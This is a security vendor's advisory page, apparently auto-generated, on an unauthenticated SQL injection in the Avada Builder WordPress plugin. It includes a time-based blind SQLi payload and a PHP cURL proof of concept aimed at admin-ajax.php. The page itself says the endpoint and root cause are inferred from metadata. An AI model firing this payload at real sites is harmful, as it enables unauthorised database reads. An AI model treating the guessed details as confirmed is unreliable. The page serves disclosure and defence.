Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 12, 2026

CVE-2026-4798: Avada Builder <= 3.15.1 – Unauthenticated SQL Injection via 'product_order' Parameter (fusion-builder)

CVE ID CVE-2026-4798
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 3.15.1
Patched Version
Disclosed May 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4798 (metadata-based): This vulnerability is an unauthenticated SQL injection in the Avada Builder plugin (fusion-builder) for WordPress, affecting versions up to and including 3.15.1. The injection occurs through the ‘product_order’ parameter and has a CVSS score of 7.5 (High) with confidentiality impact, no impact on integrity or availability.

The root cause, inferred from the CWE-89 classification and the description, is improper neutralization of special elements in the ‘product_order’ parameter before it is used in an SQL query. The plugin’s code likely reads this user-supplied parameter and directly concatenates it into a SQL query without sufficient escaping or parameterized preparation (prepared statements using $wpdb->prepare). The note that the vulnerability is exploitable only if WooCommerce was previously used (then deactivated) strongly suggests the vulnerable code resides in a shortcode or widget that renders WooCommerce-related output, possibly a product loop or filter shortcode that remains active even after WooCommerce is disabled. Because the vulnerable and patched plugin versions are not available from WordPress.org for code diffing, Atomic Edge analysis cannot confirm these specifics from source code; all root cause descriptions are based on the CWE and the provided description.

Exploitation is possible over the network (AV:N) with low attack complexity (AC:L) and no privileges required (PR:N). No user interaction is needed (UI:N). An attacker would craft a crafted HTTP request to a WordPress page that loads a shortcode or element from the Avada Builder which processes the ‘product_order’ parameter. For example, the vulnerable endpoint might be a page with the Ajax_load_more or product_grid shortcode that uses the ‘product_order’ parameter to sort products. An attacker could send a request like: GET /wp-admin/admin-ajax.php?action=fusion_builder_ajax_load_products&product_order=1 AND (SELECT SLEEP(5)) — – or a similar time-based blind SQL injection payload via POST or GET parameters. Since the description mentions time-based SQL injection, the attacker would use conditional timing delays to infer database contents character by character.

The remediation involves updating to version 3.15.2, which contains the fix. The code change likely includes using parameterized queries via $wpdb->prepare() for the ‘product_order’ parameter, or at minimum, properly escaping the value using esc_sql() or intval() if the expected value is an integer (like order IDs). The fix must ensure that user input is never directly concatenated into SQL queries.

The impact of successful exploitation is full read access to the WordPress database. An attacker could extract sensitive information such as usernames, password hashes (which could be cracked offline), user email addresses, and any other data stored in custom tables (including WooCommerce order and customer data if previously used). Although the CVSS vector indicates no impact on integrity or availability (I:N/A:N), the confidentiality breach alone can lead to further attacks, such as account compromise via password hash cracking.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4798 - Avada Builder <= 3.15.1 - Unauthenticated SQL Injection via 'product_order' Parameter

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL

// The likely AJAX action for loading products in Avada Builder
$ajax_action = 'fusion_builder_ajax_load_products';

// Craft a payload to test for time-based SQL injection
// Using SLEEP(5) to cause a 5-second delay if the condition is true
$payload = "1 AND (SELECT SLEEP(5))";

// Prepare the request URL
$endpoint = $target_url . '/wp-admin/admin-ajax.php';

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => $ajax_action,
    'product_order' => $payload
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10); // 10 second timeout
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing; remove in production for HTTPS

$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;

curl_close($ch);

if ($elapsed >= 4.5) {
    echo "[+] The site appears vulnerable to time-based SQL injection. Response took $elapsed seconds.n";
} else {
    echo "[-] The site does not appear vulnerable (response took $elapsed seconds).n";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School